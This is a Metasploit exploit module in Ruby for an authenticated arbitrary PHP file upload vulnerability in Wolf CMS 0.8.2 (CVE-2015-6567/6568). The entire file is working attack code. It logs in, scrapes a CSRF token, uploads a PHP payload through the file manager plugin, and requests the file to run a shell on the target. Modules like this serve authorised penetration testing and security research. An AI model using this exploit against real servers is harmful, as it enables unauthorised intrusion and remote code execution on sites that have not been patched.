##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

    def initialize
    super(
      'Name'           => 'Wolfcms 0.8.2 Arbitrary PHP File Upload Vulnerability',
      'Description'    => %q{
        This module exploits a file upload vulnerability in Wolfcms
        version 0.8.2. This application has an upload feature that 
        allows an authenticated user with administrator roles to upload 
        arbitrary files to the '/public' directory.
      },
      'Author'         => [
        'Narendra Bhati', # Proof of concept
        'Rahmat Nurfauzi' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-6568'], 
          ['CVE', '2015-6567'],
          ['OSVDB','126852'],          
          ['EDB', '38000'],
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Wolfcms <= 0.8.2', {}]
        ],
      'DisclosureDate' => 'Aug 28 2015',
      'Privileged'     => false,      
      'DefaultTarget' => 0
    )

    register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to wolfcms', '/wolfcms']),
          OptString.new('USER', [true, 'User to login with', '']),
          OptString.new('PASS', [true, 'Password to login with', '']),
        ], self.class)
    end
  
  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri, "/?/admin/login/login/"),
      'vars_post' => {
          "login[username]" => datastore['USER'],
          "login[password]" => datastore['PASS'],
          "login[redirect]" => "/wolfcms/?/admin"
      }
    })
    return res
  end

  def exploit

    upload_name = rand_text_alpha(5 + rand(5)) + '.php'

    get_cookie = login.get_cookies
    cookie = get_cookie.split(";")[3]

    token = send_request_cgi({
      'method' => 'GET',
      'cookie' => cookie,
      'uri'    => normalize_uri(target_uri, "/?/admin/plugin/file_manager/browse/")     
    })

    html = token.body
    if html =~ /Files/
      print_status("Login successfuly")
    end
    csrf_token = html.scan(/<input\s*id=\"csrf_token\"\s*name=\"csrf_token\"\s*type=\"hidden\"\s*value=\"(.*)"/).last.first

    boundary = Rex::Text.rand_text_hex(28)

    data = "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"csrf_token\"\r\n"
    data << "\r\n"
    data << csrf_token
    data << "\r\n"
    data << "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"upload[path]\"\r\n\r\n"
    data << "/"
    data << "\r\n"
    data << "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"upload_file\"; filename=\"#{upload_name}\"\r\n"
    data << "Content-Type: text/x-php\r\n"
    data << "\r\n"
    data << payload.encoded
    data << "\r\n"
    data << "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"commit\"\r\n"
    data << "\r\n"
    data << "Upload\r\n"
    data << "-----------------------------#{boundary}--\r\n\r\n"

    print_good("#{peer} - Payload uploaded as #{upload_name}")

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'headers' =>
      {
        'Content-Type'   => 'multipart/form-data; boundary=---------------------------' + boundary,
        'Cookie'   => cookie,
      },
      'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/upload/")     
    })
    
    register_file_for_cleanup(upload_name)

    print_status("#{peer} - Executing shell...")

    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "public",upload_name),
    })
   
  end    
end